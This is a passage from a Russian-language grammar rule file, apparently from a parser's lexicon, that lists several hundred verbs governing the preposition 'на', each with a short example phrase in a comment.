на землю rus_verbs:укладываться{}, // укладываться на ночевку rus_verbs:уволить{}, // уволить на пенсию rus_verbs:наносить{}, // наносить на кожу rus_verbs:набежать{}, // набежать на берег rus_verbs:заявиться{}, // заявиться на стрельбище rus_verbs:налиться{}, // налиться на крышку rus_verbs:надвигаться{}, // надвигаться на берег rus_verbs:распустить{}, // распустить на каникулы rus_verbs:переключиться{}, // переключиться на другую задачу rus_verbs:чихнуть{}, // чихнуть на окружающих rus_verbs:шлепнуться{}, // шлепнуться на спину rus_verbs:устанавливать{}, // устанавливать на крышу rus_verbs:устанавливаться{}, // устанавливаться на крышу rus_verbs:устраиваться{}, // устраиваться на работу rus_verbs:пропускать{}, // пропускать на стадион инфинитив:сбегать{ вид:соверш }, глагол:сбегать{ вид:соверш }, // сбегать на фильм инфинитив:сбегать{ вид:несоверш }, глагол:сбегать{ вид:несоверш }, деепричастие:сбегав{}, деепричастие:сбегая{}, rus_verbs:показываться{}, // показываться на глаза rus_verbs:прибегать{}, // прибегать на урок rus_verbs:съездить{}, // съездить на ферму rus_verbs:прославиться{}, // прославиться на всю страну rus_verbs:опрокинуться{}, // опрокинуться на спину rus_verbs:насыпать{}, // насыпать на землю rus_verbs:употреблять{}, // употреблять на корм скоту rus_verbs:пристроить{}, // пристроить на работу rus_verbs:заворчать{}, // заворчать на вошедшего rus_verbs:завязаться{}, // завязаться на поставщиков rus_verbs:сажать{}, // сажать на стул rus_verbs:напрашиваться{}, // напрашиваться на жесткие ответные меры rus_verbs:заменять{}, // заменять на исправную rus_verbs:нацепить{}, // нацепить на голову rus_verbs:сыпать{}, // сыпать на землю rus_verbs:закрываться{}, // закрываться на ремонт rus_verbs:распространиться{}, // распространиться на всю популяцию rus_verbs:поменять{}, // поменять на велосипед rus_verbs:пересесть{}, // пересесть на велосипеды rus_verbs:подоспеть{}, // подоспеть на разбор rus_verbs:шипеть{}, // шипеть на собак rus_verbs:поделить{}, // поделить на части rus_verbs:подлететь{}, // подлететь на расстояние выстрела rus_verbs:нажимать{}, // нажимать на все кнопки rus_verbs:распасться{}, // распасться на части rus_verbs:приволочь{}, // приволочь на диван rus_verbs:пожить{}, // пожить на один доллар rus_verbs:устремляться{}, // устремляться на свободу rus_verbs:смахивать{}, // смахивать на пол rus_verbs:забежать{}, // забежать на обед rus_verbs:увеличиться{}, // увеличиться на существенную величину rus_verbs:прокрасться{}, // прокрасться на склад rus_verbs:пущать{}, // пущать на постой rus_verbs:отклонить{}, // отклонить на несколько градусов rus_verbs:насмотреться{}, // насмотреться на безобразия rus_verbs:настроить{}, // настроить на короткие волны rus_verbs:уменьшиться{}, // уменьшиться на пару сантиметров rus_verbs:поменяться{}, // поменяться на другую книжку rus_verbs:расколоться{}, // расколоться на части rus_verbs:разлиться{}, // разлиться на землю rus_verbs:срываться{}, // срываться на жену rus_verbs:осудить{}, // осудить на пожизненное заключение rus_verbs:передвинуть{}, // передвинуть на первое место rus_verbs:допускаться{}, // допускаться на полигон rus_verbs:задвинуть{}, // задвинуть на полку rus_verbs:повлиять{}, // повлиять на оценку rus_verbs:отбавлять{}, // отбавлять на осмотр rus_verbs:сбрасывать{}, // сбрасывать на землю rus_verbs:накинуться{}, // накинуться на случайных прохожих rus_verbs:пролить{}, // пролить на кожу руки rus_verbs:затащить{}, // затащить на сеновал rus_verbs:перебежать{}, // перебежать на сторону противника rus_verbs:наливать{}, // наливать на скатерть rus_verbs:пролезть{}, // пролезть на сцену rus_verbs:откладывать{}, // откладывать на черный день rus_verbs:распадаться{}, // распадаться на небольшие фрагменты rus_verbs:перечислить{}, // перечислить на счет rus_verbs:закачаться{}, // закачаться на верхний уровень rus_verbs:накрениться{}, // накрениться на правый борт rus_verbs:подвинуться{}, // подвинуться на один уровень rus_verbs:разнести{}, // разнести на мелкие кусочки rus_verbs:зажить{}, // зажить на широкую ногу rus_verbs:оглохнуть{}, // оглохнуть на правое ухо rus_verbs:посетовать{}, // посетовать на бюрократизм rus_verbs:уводить{}, // уводить на осмотр rus_verbs:ускакать{}, // ускакать на забег rus_verbs:посветить{}, // посветить на стену rus_verbs:разрываться{}, // разрываться на части rus_verbs:побросать{}, // побросать на землю rus_verbs:карабкаться{}, // карабкаться на скалу rus_verbs:нахлынуть{}, // нахлынуть на кого-то rus_verbs:разлетаться{}, // разлетаться на мелкие осколочки rus_verbs:среагировать{}, // среагировать на сигнал rus_verbs:претендовать{}, // претендовать на приз rus_verbs:дунуть{}, // дунуть на одуванчик rus_verbs:переводиться{}, // переводиться на другую работу rus_verbs:перевезти{}, // перевезти на другую площадку rus_verbs:топать{}, // топать на урок rus_verbs:относить{}, // относить на склад rus_verbs:сбивать{}, // сбивать на землю rus_verbs:укладывать{}, // укладывать на спину rus_verbs:укатить{}, // укатить на отдых rus_verbs:убирать{}, // убирать на полку rus_verbs:опасть{}, // опасть на землю rus_verbs:ронять{}, // ронять на снег rus_verbs:пялиться{}, // пялиться на тело rus_verbs:глазеть{}, // глазеть на тело rus_verbs:снижаться{}, // снижаться на безопасную высоту rus_verbs:запрыгнуть{}, // запрыгнуть на платформу rus_verbs:разбиваться{}, // разбиваться на главы rus_verbs:сгодиться{}, // сгодиться на фарш rus_verbs:перескочить{}, // перескочить на другую страницу rus_verbs:нацелиться{}, // нацелиться на главную добычу rus_verbs:заезжать{}, // заезжать на бордюр rus_verbs:забираться{}, // забираться на крышу rus_verbs:проорать{}, // проорать на всё село rus_verbs:сбежаться{}, // сбежаться на шум rus_verbs:сменять{}, // сменять на хлеб rus_verbs:мотать{}, // мотать на ус rus_verbs:раскалываться{}, // раскалываться на две половинки rus_verbs:коситься{}, // коситься на режиссёра rus_verbs:плевать{}, // плевать на законы rus_verbs:ссылаться{}, // ссылаться на авторитетное мнение rus_verbs:наставить{}, // наставить на путь истинный rus_verbs:завывать{}, // завывать на Луну rus_verbs:опаздывать{}, // опаздывать на совещание rus_verbs:залюбоваться{}, // залюбоваться на пейзаж rus_verbs:повергнуть{}, // повергнуть на землю rus_verbs:надвинуть{}, // надвинуть на лоб rus_verbs:стекаться{}, // стекаться на площадь rus_verbs:обозлиться{}, // обозлиться на тренера rus_verbs:оттянуть{}, // оттянуть на себя rus_verbs:истратить{}, // истратить на дешевых шлюх rus_verbs:вышвырнуть{}, // вышвырнуть на улицу rus_verbs:затолкать{}, // затолкать на верхнюю полку rus_verbs:заскочить{}, // заскочить на огонек rus_verbs:проситься{}, // проситься на улицу rus_verbs:натыкаться{}, // натыкаться на борщевик rus_verbs:обрушиваться{}, // обрушиваться на митингующих rus_verbs:переписать{}, // переписать на чистовик rus_verbs:переноситься{}, // переноситься на другое устройство rus_verbs:напроситься{}, // напроситься на обидный ответ rus_verbs:натягивать{}, // натягивать на ноги rus_verbs:кидаться{}, // кидаться на прохожих rus_verbs:откликаться{}, // откликаться на призыв rus_verbs:поспевать{}, // поспевать на балет rus_verbs:обратиться{}, // обратиться на кафедру rus_verbs:полюбоваться{}, // полюбоваться на бюст rus_verbs:таращиться{}, // таращиться на мустангов rus_verbs:напороться{}, // напороться на колючки rus_verbs:раздать{}, // раздать на руки rus_verbs:дивиться{}, // дивиться на танцовщиц rus_verbs:назначать{}, // назначать на ответственнейший пост rus_verbs:кидать{}, // кидать на балкон rus_verbs:нахлобучить{}, // нахлобучить на башку rus_verbs:увлекать{}, // увлекать на луг rus_verbs:ругнуться{}, // ругнуться на животину rus_verbs:переселиться{}, // переселиться на хутор rus_verbs:разрывать{}, // разрывать на части rus_verbs:утащить{}, // утащить на дерево rus_verbs:наставлять{}, // наставлять на путь rus_verbs:соблазнить{}, // соблазнить на обмен rus_verbs:накладывать{}, // накладывать на рану rus_verbs:набрести{}, // набрести на грибную поляну rus_verbs:наведываться{}, // наведываться на прежнюю работу rus_verbs:погулять{}, // погулять на чужие деньги rus_verbs:уклоняться{}, // уклоняться на два градуса влево rus_verbs:слезать{}, // слезать на землю rus_verbs:клевать{}, // клевать на мотыля // rus_verbs:назначаться{}, // назначаться на пост rus_verbs:напялить{}, // напялить на голову rus_verbs:натянуться{}, // натянуться на рамку rus_verbs:разгневаться{}, // разгневаться на придворных rus_verbs:эмигрировать{}, // эмигрировать на Кипр rus_verbs:накатить{}, // накатить на основу rus_verbs:пригнать{}, // пригнать на пастбище rus_verbs:обречь{}, // обречь на мучения rus_verbs:сокращаться{}, // сокращаться на четверть rus_verbs:оттеснить{}, // оттеснить на пристань rus_verbs:подбить{}, // подбить на аферу rus_verbs:заманить{}, // заманить на дерево инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать на кустик // деепричастие:пописав{ aux stress="поп^исать" }, rus_verbs:посходить{}, // посходить на перрон rus_verbs:налечь{}, // налечь на мясцо rus_verbs:отбирать{}, // отбирать на флот rus_verbs:нашептывать{}, // нашептывать на ухо rus_verbs:откладываться{}, // откладываться на будущее rus_verbs:залаять{}, // залаять на грабителя rus_verbs:настроиться{}, // настроиться на прием rus_verbs:разбивать{}, // разбивать на куски rus_verbs:пролиться{}, // пролиться на почву rus_verbs:сетовать{}, // сетовать на объективные трудности rus_verbs:подвезти{}, // подвезти на митинг rus_verbs:припереться{}, // припереться на праздник rus_verbs:подталкивать{}, // подталкивать на прыжок rus_verbs:прорываться{}, // прорываться на сцену rus_verbs:снижать{}, // снижать на несколько процентов rus_verbs:нацелить{}, // нацелить на танк rus_verbs:расколоть{}, // расколоть на два куска rus_verbs:увозить{}, // увозить на обкатку rus_verbs:оседать{}, // оседать на дно rus_verbs:съедать{}, // съедать на ужин rus_verbs:навлечь{}, // навлечь на себя rus_verbs:равняться{}, // равняться на лучших rus_verbs:сориентироваться{}, // сориентироваться на местности rus_verbs:снизить{}, // снизить на несколько процентов rus_verbs:перенестись{}, // перенестись на много лет назад rus_verbs:завезти{}, // завезти на склад rus_verbs:проложить{}, // проложить на гору rus_verbs:понадеяться{}, // понадеяться на удачу rus_verbs:заступить{}, // заступить на вахту rus_verbs:засеменить{}, // засеменить на выход rus_verbs:запирать{}, // запирать на ключ rus_verbs:скатываться{}, // скатываться на землю rus_verbs:дробить{}, // дробить на части rus_verbs:разваливаться{}, // разваливаться на кусочки rus_verbs:завозиться{}, // завозиться на склад rus_verbs:нанимать{}, // нанимать на дневную работу rus_verbs:поспеть{}, // поспеть на концерт rus_verbs:променять{}, // променять на сытость rus_verbs:переправить{}, // переправить на север rus_verbs:налетать{}, // налетать на силовое поле rus_verbs:затворить{}, // затворить на замок rus_verbs:подогнать{}, // подогнать на пристань rus_verbs:наехать{}, // наехать на камень rus_verbs:распевать{}, // распевать на разные голоса rus_verbs:разносить{}, // разносить на клочки rus_verbs:преувеличивать{}, // преувеличивать на много килограммов rus_verbs:хромать{}, // хромать на одну ногу rus_verbs:телеграфировать{}, // телеграфировать на базу rus_verbs:порезать{}, // порезать на лоскуты rus_verbs:порваться{}, // порваться на части rus_verbs:загонять{}, // загонять на дерево rus_verbs:отбывать{}, // отбывать на место службы rus_verbs:усаживаться{}, // усаживаться на трон rus_verbs:накопить{}, // накопить на квартиру rus_verbs:зыркнуть{}, // зыркнуть на визитера rus_verbs:копить{}, // копить на машину rus_verbs:помещать{}, // помещать на верхнюю грань rus_verbs:сползать{}, // сползать на снег rus_verbs:попроситься{}, // попроситься на улицу rus_verbs:перетащить{}, // перетащить на чердак rus_verbs:растащить{}, // растащить на сувениры rus_verbs:ниспадать{}, // ниспадать на землю rus_verbs:сфотографировать{}, // сфотографировать на память rus_verbs:нагонять{}, // нагонять на конкурентов страх rus_verbs:покушаться{}, // покушаться на понтифика rus_verbs:покуситься{}, rus_verbs:наняться{}, // наняться на службу rus_verbs:просачиваться{}, // просачиваться на поверхность rus_verbs:пускаться{}, // пускаться на ветер rus_verbs:отваживаться{}, // отваживаться на прыжок rus_verbs:досадовать{}, // досадовать на объективные трудности rus_verbs:унестись{}, // унестись на небо rus_verbs:ухудшаться{}, // ухудшаться на несколько процентов rus_verbs:насадить{}, // насадить на копьё rus_verbs:нагрянуть{}, // нагрянуть на праздник rus_verbs:зашвырнуть{}, // зашвырнуть на полку rus_verbs:грешить{}, // грешить на постояльцев rus_verbs:просочиться{}, // просочиться на поверхность rus_verbs:надоумить{}, // надоумить на глупость rus_verbs:намотать{}, // намотать на шпиндель rus_verbs:замкнуть{}, // замкнуть на корпус rus_verbs:цыкнуть{}, // цыкнуть на детей rus_verbs:переворачиваться{}, // переворачиваться на спину rus_verbs:соваться{}, // соваться на площать rus_verbs:отлучиться{}, // отлучиться на обед rus_verbs:пенять{}, // пенять на себя rus_verbs:нарезать{}, // нарезать на ломтики rus_verbs:поставлять{}, // поставлять на Кипр rus_verbs:залезать{}, // залезать на балкон rus_verbs:отлучаться{}, // отлучаться на обед rus_verbs:сбиваться{}, // сбиваться на шаг rus_verbs:таращить{}, // таращить глаза на вошедшего rus_verbs:прошмыгнуть{}, // прошмыгнуть на кухню rus_verbs:опережать{}, // опережать на пару сантиметров rus_verbs:переставить{}, // переставить на стол rus_verbs:раздирать{}, // раздирать на части rus_verbs:затвориться{}, // затвориться на засовы rus_verbs:материться{}, // материться на кого-то rus_verbs:наскочить{}, // наскочить на риф rus_verbs:набираться{}, // набираться на борт rus_verbs:покрикивать{}, // покрикивать на помощников rus_verbs:заменяться{}, // заменяться на более новый rus_verbs:подсадить{}, // подсадить на верхнюю полку rus_verbs:проковылять{}, // проковылять на кухню rus_verbs:прикатить{}, // прикатить на старт rus_verbs:залететь{}, // залететь на чужую территорию rus_verbs:загрузить{}, // загрузить на конвейер rus_verbs:уплывать{}, // уплывать на материк rus_verbs:опозорить{}, // опозорить на всю деревню rus_verbs:провоцировать{}, // провоцировать на ответную агрессию rus_verbs:забивать{}, // забивать на учебу rus_verbs:набегать{}, // набегать на прибрежные деревни rus_verbs:запираться{}, // запираться на ключ rus_verbs:фотографировать{}, // фотографировать на мыльницу rus_verbs:подымать{}, // подымать на недосягаемую высоту rus_verbs:съезжаться{}, // съезжаться на симпозиум rus_verbs:отвлекаться{}, // отвлекаться на игру rus_verbs:проливать{}, // проливать на брюки rus_verbs:спикировать{}, // спикировать на зазевавшегося зайца rus_verbs:уползти{}, // уползти на вершину холма rus_verbs:переместить{}, // переместить на вторую палубу rus_verbs:превысить{}, // превысить на несколько метров rus_verbs:передвинуться{}, // передвинуться на соседнюю клетку rus_verbs:спровоцировать{}, // спровоцировать на бросок rus_verbs:сместиться{}, // сместиться на соседнюю клетку rus_verbs:заготовить{}, // заготовить на зиму rus_verbs:плеваться{}, // плеваться на пол rus_verbs:переселить{}, // переселить на север rus_verbs:напирать{}, // напирать на дверь rus_verbs:переезжать{}, // переезжать на другой этаж rus_verbs:приподнимать{}, // приподнимать на несколько сантиметров rus_verbs:трогаться{}, // трогаться на красный свет rus_verbs:надвинуться{}, // надвинуться на глаза rus_verbs:засмотреться{}, // засмотреться на купальники rus_verbs:убыть{}, // убыть на фронт rus_verbs:передвигать{}, // передвигать на второй уровень rus_verbs:отвозить{}, // отвозить на свалку rus_verbs:обрекать{}, // обрекать на гибель rus_verbs:записываться{}, // записываться на танцы rus_verbs:настраивать{}, // настраивать на другой диапазон rus_verbs:переписывать{}, // переписывать на диск rus_verbs:израсходовать{}, // израсходовать на гонки rus_verbs:обменять{}, // обменять на перспективного игрока rus_verbs:трубить{}, // трубить на всю округу rus_verbs:набрасываться{}, // набрасываться на жертву rus_verbs:чихать{}, // чихать на правила rus_verbs:наваливаться{}, // наваливаться на рычаг rus_verbs:сподобиться{}, // сподобиться на повторный анализ rus_verbs:намазать{}, // намазать на хлеб rus_verbs:прореагировать{}, // прореагировать на вызов rus_verbs:зачислить{}, // зачислить на факультет rus_verbs:наведаться{}, // наведаться на склад rus_verbs:откидываться{}, // откидываться на спинку кресла rus_verbs:захромать{}, // захромать на левую ногу rus_verbs:перекочевать{}, // перекочевать на другой берег rus_verbs:накатываться{}, // накатываться на песчаный берег rus_verbs:приостановить{}, // приостановить на некоторое время rus_verbs:запрятать{}, // запрятать на верхнюю полочку rus_verbs:прихрамывать{}, // прихрамывать на правую ногу rus_verbs:упорхнуть{}, // упорхнуть на свободу rus_verbs:расстегивать{}, // расстегивать на пальто rus_verbs:напуститься{}, // напуститься на бродягу rus_verbs:накатывать{}, // накатывать на оригинал rus_verbs:наезжать{}, // наезжать на простофилю rus_verbs:тявкнуть{}, // тявкнуть на подошедшего человека rus_verbs:отрядить{}, // отрядить на починку rus_verbs:положиться{}, // положиться на главаря rus_verbs:опрокидывать{}, // опрокидывать на голову rus_verbs:поторапливаться{}, // поторапливаться на рейс rus_verbs:налагать{}, // налагать на заемщика rus_verbs:скопировать{}, // скопировать на диск rus_verbs:опадать{}, // опадать на землю rus_verbs:купиться{}, // купиться на посулы rus_verbs:гневаться{}, // гневаться на слуг rus_verbs:слететься{}, // слететься на раздачу rus_verbs:убавить{}, // убавить на два уровня rus_verbs:спихнуть{}, // спихнуть на соседа rus_verbs:накричать{}, // накричать на ребенка rus_verbs:приберечь{}, // приберечь на ужин rus_verbs:приклеить{}, // приклеить на ветровое стекло rus_verbs:ополчиться{}, // ополчиться на посредников rus_verbs:тратиться{}, // тратиться на сувениры rus_verbs:слетаться{}, // слетаться на свет rus_verbs:доставляться{}, // доставляться на базу rus_verbs:поплевать{}, // поплевать на руки rus_verbs:огрызаться{}, // огрызаться на замечание rus_verbs:попереться{}, // попереться на рынок rus_verbs:растягиваться{}, // растягиваться на полу rus_verbs:повергать{}, // повергать на землю rus_verbs:ловиться{}, // ловиться на мотыля rus_verbs:наседать{}, // наседать на обороняющихся rus_verbs:развалить{}, // развалить на кирпичи rus_verbs:разломить{}, // разломить на несколько частей rus_verbs:примерить{}, // примерить на себя rus_verbs:лепиться{}, // лепиться на стену rus_verbs:скопить{}, // скопить на старость rus_verbs:затратить{}, // затратить на ликвидацию последствий rus_verbs:притащиться{}, // притащиться на гулянку rus_verbs:осерчать{}, // осерчать на прислугу rus_verbs:натравить{}, // натравить на медведя rus_verbs:ссыпать{}, // ссыпать на землю rus_verbs:подвозить{}, // подвозить на пристань rus_verbs:мобилизовать{}, // мобилизовать на сборы rus_verbs:смотаться{}, // смотаться на работу rus_verbs:заглядеться{}, // заглядеться на девчонок rus_verbs:таскаться{}, // таскаться на работу rus_verbs:разгружать{}, // разгружать на транспортер rus_verbs:потреблять{}, // потреблять на кондиционирование инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять на базу деепричастие:сгоняв{}, rus_verbs:посылаться{}, // посылаться на разведку rus_verbs:окрыситься{}, // окрыситься на кого-то rus_verbs:отлить{}, // отлить на сковороду rus_verbs:шикнуть{}, // шикнуть на детишек rus_verbs:уповать{}, // уповать на бескорысную помощь rus_verbs:класться{}, // класться на стол rus_verbs:поковылять{}, // поковылять на выход rus_verbs:навевать{}, // навевать на собравшихся скуку rus_verbs:накладываться{}, // накладываться на грунтовку rus_verbs:наноситься{}, // наноситься на чистую кожу // rus_verbs:запланировать{}, // запланировать на среду rus_verbs:кувыркнуться{}, // кувыркнуться на землю rus_verbs:гавкнуть{}, // гавкнуть на хозяина rus_verbs:перестроиться{}, // перестроиться на новый лад rus_verbs:расходоваться{}, // расходоваться на образование rus_verbs:дуться{}, // дуться на бабушку rus_verbs:перетаскивать{}, // перетаскивать на рабочий стол rus_verbs:издаться{}, // издаться на деньги спонсоров rus_verbs:смещаться{}, // смещаться на несколько миллиметров rus_verbs:зазывать{}, // зазывать на новогоднюю распродажу rus_verbs:пикировать{}, // пикировать на окопы rus_verbs:чертыхаться{}, // чертыхаться на мешающихся детей rus_verbs:зудить{}, // зудить на ухо rus_verbs:подразделяться{}, // подразделяться на группы rus_verbs:изливаться{}, // изливаться на землю rus_verbs:помочиться{}, // помочиться на траву rus_verbs:примерять{}, // примерять на себя rus_verbs:разрядиться{}, // разрядиться на землю rus_verbs:мотнуться{}, // мотнуться на крышу rus_verbs:налегать{}, // налегать на весла rus_verbs:зацокать{}, // зацокать на куриц rus_verbs:наниматься{}, // наниматься на корабль rus_verbs:сплевывать{}, // сплевывать на землю rus_verbs:настучать{}, // настучать на саботажника rus_verbs:приземляться{}, // приземляться на брюхо rus_verbs:наталкиваться{}, // наталкиваться на объективные трудности rus_verbs:посигналить{}, // посигналить нарушителю, выехавшему на встречную полосу rus_verbs:серчать{}, // серчать на нерасторопную помощницу rus_verbs:сваливать{}, // сваливать на подоконник rus_verbs:засобираться{}, // засобираться на работу rus_verbs:распилить{}, // распилить на одинаковые бруски //rus_verbs:умножать{}, // умножать на константу rus_verbs:копировать{}, // копировать на диск rus_verbs:накрутить{}, // накрутить на руку rus_verbs:навалить{}, // навалить на телегу rus_verbs:натолкнуть{}, // натолкнуть на свежую мысль rus_verbs:шлепаться{}, // шлепаться на бетон rus_verbs:ухлопать{}, // ухлопать на скупку произведений искусства rus_verbs:замахиваться{}, // замахиваться на авторитетнейшее мнение rus_verbs:посягнуть{}, // посягнуть на святое rus_verbs:разменять{}, // разменять на мелочь rus_verbs:откатываться{}, // откатываться на заранее подготовленные позиции rus_verbs:усаживать{}, // усаживать на скамейку rus_verbs:натаскать{}, // натаскать на поиск наркотиков rus_verbs:зашикать{}, // зашикать на кошку rus_verbs:разломать{}, // разломать на равные части rus_verbs:приглашаться{}, // приглашаться на сцену rus_verbs:присягать{}, // присягать на верность rus_verbs:запрограммировать{}, // запрограммировать на постоянную уборку rus_verbs:расщедриться{}, // расщедриться на новый компьютер rus_verbs:насесть{}, // насесть на двоечников rus_verbs:созывать{}, // созывать на собрание rus_verbs:позариться{}, // позариться на чужое добро rus_verbs:перекидываться{}, // перекидываться на соседние здания rus_verbs:наползать{}, // наползать на неповрежденную ткань rus_verbs:изрубить{}, // изрубить на мелкие кусочки rus_verbs:наворачиваться{}, // наворачиваться на глаза rus_verbs:раскричаться{}, // раскричаться на всю округу rus_verbs:переползти{}, // переползти на светлую сторону rus_verbs:уполномочить{}, // уполномочить на разведовательную операцию rus_verbs:мочиться{}, // мочиться на трупы убитых врагов rus_verbs:радировать{}, // радировать на базу rus_verbs:промотать{}, // промотать на начало rus_verbs:заснять{}, // заснять на видео rus_verbs:подбивать{}, // подбивать на матч-реванш rus_verbs:наплевать{}, // наплевать на справедливость rus_verbs:подвывать{}, // подвывать на луну rus_verbs:расплескать{}, // расплескать на пол rus_verbs:польститься{}, // польститься на бесплатный сыр rus_verbs:помчать{}, // помчать на работу rus_verbs:съезжать{}, // съезжать на обочину rus_verbs:нашептать{}, // нашептать кому-то на ухо rus_verbs:наклеить{}, // наклеить на доску объявлений rus_verbs:завозить{}, // завозить на склад rus_verbs:заявляться{}, // заявляться на любимую работу rus_verbs:наглядеться{}, // наглядеться на воробьев rus_verbs:хлопнуться{}, // хлопнуться на живот rus_verbs:забредать{}, // забредать на поляну rus_verbs:посягать{}, // посягать на исконные права собственности rus_verbs:сдвигать{}, // сдвигать на одну позицию rus_verbs:спрыгивать{}, // спрыгивать на землю rus_verbs:сдвигаться{}, // сдвигаться на две позиции rus_verbs:разделать{}, // разделать на орехи rus_verbs:разлагать{}, // разлагать на элементарные элементы rus_verbs:обрушивать{}, // обрушивать на головы врагов rus_verbs:натечь{}, // натечь на пол rus_verbs:политься{}, // вода польется на землю rus_verbs:успеть{}, // Они успеют на поезд. инфинитив:мигрировать{ вид:несоверш }, глагол:мигрировать{ вид:несоверш }, деепричастие:мигрируя{}, инфинитив:мигрировать{ вид:соверш }, глагол:мигрировать{ вид:соверш }, деепричастие:мигрировав{}, rus_verbs:двинуться{}, // Мы скоро двинемся на дачу. rus_verbs:подойти{}, // Он не подойдёт на должность секретаря. rus_verbs:потянуть{}, // Он не потянет на директора. rus_verbs:тянуть{}, // Он не тянет на директора. rus_verbs:перескакивать{}, // перескакивать с одного примера на другой rus_verbs:жаловаться{}, // Он жалуется на нездоровье. rus_verbs:издать{}, // издать на деньги спонсоров rus_verbs:показаться{}, // показаться на глаза rus_verbs:высаживать{}, // высаживать на необитаемый остров rus_verbs:вознестись{}, // вознестись на самую вершину славы rus_verbs:залить{}, // залить на youtube rus_verbs:закачать{}, // закачать на youtube rus_verbs:сыграть{}, // сыграть на деньги rus_verbs:экстраполировать{}, // Формулу можно экстраполировать на случай нескольких переменных инфинитив:экстраполироваться{ вид:несоверш}, // Ситуация легко экстраполируется на случай нескольких переменных глагол:экстраполироваться{ вид:несоверш}, инфинитив:экстраполироваться{ вид:соверш}, глагол:экстраполироваться{ вид:соверш}, деепричастие:экстраполируясь{}, инфинитив:акцентировать{вид:соверш}, // оратор акцентировал внимание слушателей на новый аспект проблемы глагол:акцентировать{вид:соверш}, инфинитив:акцентировать{вид:несоверш}, глагол:акцентировать{вид:несоверш}, прилагательное:акцентировавший{вид:несоверш}, //прилагательное:акцентировавший{вид:соверш}, прилагательное:акцентирующий{}, деепричастие:акцентировав{}, деепричастие:акцентируя{}, rus_verbs:бабахаться{}, // он бабахался на пол rus_verbs:бабахнуться{}, // мальчил бабахнулся на асфальт rus_verbs:батрачить{}, // Крестьяне батрачили на хозяина rus_verbs:бахаться{}, // Наездники бахались на землю rus_verbs:бахнуться{}, // Наездник опять бахнулся на землю rus_verbs:благословить{}, // батюшка благословил отрока на подвиг rus_verbs:благословлять{}, // батюшка благословляет отрока на подвиг rus_verbs:блевануть{}, // Он блеванул на землю rus_verbs:блевать{}, // Он блюет на землю rus_verbs:бухнуться{}, // Наездник бухнулся на землю rus_verbs:валить{}, // Ветер валил деревья на землю rus_verbs:спилить{}, // Спиленное дерево валится на землю rus_verbs:ввезти{}, // Предприятие ввезло товар на таможню rus_verbs:вдохновить{}, // Фильм вдохновил мальчика на поход в лес rus_verbs:вдохновиться{}, // Мальчик вдохновился на поход rus_verbs:вдохновлять{}, // Фильм вдохновляет на поход в лес rus_verbs:вестись{}, // Не ведись на эти уловки! rus_verbs:вешать{}, // Гости вешают одежду на вешалку rus_verbs:вешаться{}, // Одежда вешается на вешалки rus_verbs:вещать{}, // радиостанция вещает на всю страну rus_verbs:взбираться{}, // Туристы взбираются на заросший лесом холм rus_verbs:взбредать{}, // Что иногда взбредает на ум rus_verbs:взбрести{}, // Что-то взбрело на ум rus_verbs:взвалить{}, // Мама взвалила на свои плечи всё домашнее хозяйство rus_verbs:взваливаться{}, // Все домашнее хозяйство взваливается на мамины плечи rus_verbs:взваливать{}, // Не надо взваливать всё на мои плечи rus_verbs:взглянуть{}, // Кошка взглянула на мышку rus_verbs:взгромождать{}, // Мальчик взгромождает стул на стол rus_verbs:взгромождаться{}, // Мальчик взгромождается на стол rus_verbs:взгромоздить{}, // Мальчик взгромоздил стул на стол rus_verbs:взгромоздиться{}, // Мальчик взгромоздился на стул rus_verbs:взирать{}, // Очевидцы взирали на непонятный объект rus_verbs:взлетать{}, // Фабрика фейерверков взлетает на воздух rus_verbs:взлететь{}, // Фабрика фейерверков взлетела на воздух rus_verbs:взобраться{}, // Туристы взобрались на гору rus_verbs:взойти{}, // Туристы взошли на гору rus_verbs:взъесться{}, // Отец взъелся на непутевого сына rus_verbs:взъяриться{}, // Отец взъярился на непутевого сына rus_verbs:вкатить{}, // рабочие вкатили бочку на пандус rus_verbs:вкатывать{}, // рабочик вкатывают бочку на пандус rus_verbs:влиять{}, // Это решение влияет на всех игроков рынка rus_verbs:водворить{}, // водворить нарушителя на место rus_verbs:водвориться{}, // водвориться на свое место rus_verbs:водворять{}, // водворять вещь на свое место rus_verbs:водворяться{}, // водворяться на свое место rus_verbs:водружать{}, // водружать флаг на флагшток rus_verbs:водружаться{}, // Флаг водружается на флагшток rus_verbs:водрузить{}, // водрузить флаг на флагшток rus_verbs:водрузиться{}, // Флаг водрузился на вершину горы rus_verbs:воздействовать{}, // Излучение воздействует на кожу rus_verbs:воззреть{}, // воззреть на поле боя rus_verbs:воззриться{}, // воззриться на поле боя rus_verbs:возить{}, // возить туристов на гору rus_verbs:возлагать{}, // Многочисленные посетители возлагают цветы на могилу rus_verbs:возлагаться{}, // Ответственность возлагается на начальство rus_verbs:возлечь{}, // возлечь на лежанку rus_verbs:возложить{}, // возложить цветы на могилу поэта rus_verbs:вознести{}, // вознести кого-то на вершину славы rus_verbs:возноситься{}, // возносится на вершину успеха rus_verbs:возносить{}, // возносить счастливчика на вершину успеха rus_verbs:подниматься{}, // Мы поднимаемся на восьмой этаж rus_verbs:подняться{}, // Мы поднялись на восьмой этаж rus_verbs:вонять{}, // Кусок сыра воняет на всю округу rus_verbs:воодушевлять{}, // Идеалы воодушевляют на подвиги rus_verbs:воодушевляться{}, // Люди воодушевляются на подвиги rus_verbs:ворчать{}, // Старый пес ворчит на прохожих rus_verbs:воспринимать{}, // воспринимать сообщение на слух rus_verbs:восприниматься{}, // сообщение плохо воспринимается на слух rus_verbs:воспринять{}, // воспринять сообщение на слух rus_verbs:восприняться{}, // восприняться на слух rus_verbs:воссесть{}, // Коля воссел на трон rus_verbs:вправить{}, // вправить мозг на место rus_verbs:вправлять{}, // вправлять мозги на место rus_verbs:временить{}, // временить с выходом на пенсию rus_verbs:врубать{}, // врубать на полную мощность rus_verbs:врубить{}, // врубить на полную мощность rus_verbs:врубиться{}, // врубиться на полную мощность rus_verbs:врываться{}, // врываться на собрание rus_verbs:вскарабкаться{}, // вскарабкаться на утёс rus_verbs:вскарабкиваться{}, // вскарабкиваться на утёс rus_verbs:вскочить{}, // вскочить на ноги rus_verbs:всплывать{}, // всплывать на поверхность воды rus_verbs:всплыть{}, // всплыть на поверхность воды rus_verbs:вспрыгивать{}, // вспрыгивать на платформу rus_verbs:вспрыгнуть{}, // вспрыгнуть на платформу rus_verbs:встать{}, // встать на защиту чести и достоинства rus_verbs:вторгаться{}, // вторгаться на чужую территорию rus_verbs:вторгнуться{}, // вторгнуться на чужую территорию 